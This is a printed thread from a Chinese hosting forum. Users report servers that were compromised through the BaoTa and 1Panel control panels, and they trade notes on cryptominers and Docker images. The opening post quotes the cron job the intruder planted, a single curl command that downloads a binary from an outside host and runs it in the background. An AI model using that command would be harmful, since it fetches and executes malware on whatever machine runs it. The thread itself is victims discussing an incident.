全球主机交流论坛

标题: 服务器被黑了 [打印本页]

作者: 倾一片温柔 时间: 2025-6-17 19:18
标题: 服务器被黑了
宝塔面板多了个定时任务

curl -o /tmp/ms http://aliyuncdn.info/aliyuns &&chmod +x /tmp/ms&&setsid /tmp/ms

复制代码

作者: longpo 时间: 2025-6-17 21:20
我服务器装的1panel面板突然多了个挖矿脚本，就离谱 docker容器还那么不安全

作者: Romeoiii 时间: 2025-6-17 21:36
看见“宝塔面板”，我就放心了

有黑客专门盯着它不放，何必呢，手搓不行吗

作者: Wine 时间: 2025-6-17 21:37
什么版本呀

作者: batsom 时间: 2025-6-17 21:46
gentoo.site 求黑

作者: HOH 时间: 2025-6-17 22:19
都用面板了还追求什么安全莫名其妙

作者: 美女约吗 时间: 2025-6-17 23:01

longpo 发表于 2025-6-17 21:20
我服务器装的1panel面板突然多了个挖矿脚本，就离谱 docker容器还那么不安全 ...

怎么看面板里是否多了脚本？

作者: longpo 时间: 2025-6-18 14:54

美女约吗发表于 2025-6-17 23:01
怎么看面板里是否多了脚本？

我这是直接cpu占用拉满

作者: 羊村你喜哥 时间: 2025-6-18 15:20

那个版本的

作者: 美女约吗 时间: 2025-6-18 15:23

longpo 发表于 2025-6-18 14:54
我这是直接cpu占用拉满

原来如此

作者: longpo 时间: 2025-6-18 16:48

美女约吗发表于 2025-6-18 15:23
原来如此

好像是从docker容器有漏洞的，我把奇奇怪怪的镜像删了之后就没了，1panel应该是没事的

欢迎光临全球主机交流论坛 (https://loc.wget.at/)